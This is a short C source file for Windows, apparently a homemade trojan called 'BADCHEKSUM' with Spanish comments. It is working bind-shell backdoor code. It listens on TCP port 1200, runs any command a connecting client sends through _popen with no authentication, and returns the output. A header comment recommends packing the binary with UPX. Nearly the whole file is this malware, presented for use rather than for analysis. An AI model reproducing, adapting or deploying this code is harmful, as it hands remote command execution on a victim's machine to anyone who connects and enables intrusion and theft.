/*              BADCHEKSUM POWA!!
            This software is under GPL enjoy it.
            coded by ICARO.
            NOTE: Use UPX
*/
#include <stdio.h>
#include <winsock.h>
#include <stdlib.h>
#include <string.h>
//#pragma comment(lib,"wsock32") 

#define prompt "\n\nbadchecksum>"
void ejecucion_comando(int socket,char buffer[512]){
	FILE *resultado;
	char envia[512];
	
	resultado=_popen(buffer,"r");
	while(!feof(resultado)){
		memset(envia,'\0',sizeof(envia));
		fgets(envia,sizeof(envia),resultado);
		send(socket,envia,strlen(envia),0);
	}
	send(socket,prompt,sizeof(prompt),0);
	_pclose(resultado);
}
int main (int argc,char *argv[]){
	int sock,sock2,datosrecibidos,sin_size;
	struct sockaddr_in troya,cliente;
	WSADATA wsa;
	char buffer[512];
	WSAStartup(MAKEWORD(2,0),&wsa);
	
		sock=socket(AF_INET,SOCK_STREAM,0);
		troya.sin_family=AF_INET;
		troya.sin_port=htons(1200);
		troya.sin_addr.S_un.S_addr=INADDR_ANY;
		(void)bind(sock,(struct sockaddr*)&troya,sizeof(struct sockaddr));
		(void)listen(sock,0);
		while(true){
			sin_size=sizeof(struct sockaddr_in);
			sock2=accept(sock,(struct sockaddr *)&cliente,&sin_size);
			//if(sock2==-1) printf("fallo en accept"); PARA DEBUG
			send(sock2,prompt,sizeof(prompt),0);
			memset(buffer,'\0',sizeof(buffer));
			
			while(!strstr(buffer,"quit")){
                
				memset(buffer,'\0',sizeof(buffer));
				datosrecibidos=recv(sock2,buffer,sizeof(buffer),0);
				buffer[datosrecibidos]='\0';
				//printf("%s",buffer); PARA DEBUG
				if(!strstr(buffer,"quit") && datosrecibidos!=SOCKET_ERROR){
					ejecucion_comando(sock2,buffer);
				}
				else
				{
						closesocket(sock2);
						break;
				}
				
			}
		}
		
	//NO DEBE LLEGAR AQUI EN TEORIA
	WSACleanup();
	closesocket(sock);
	return 0;
		
}


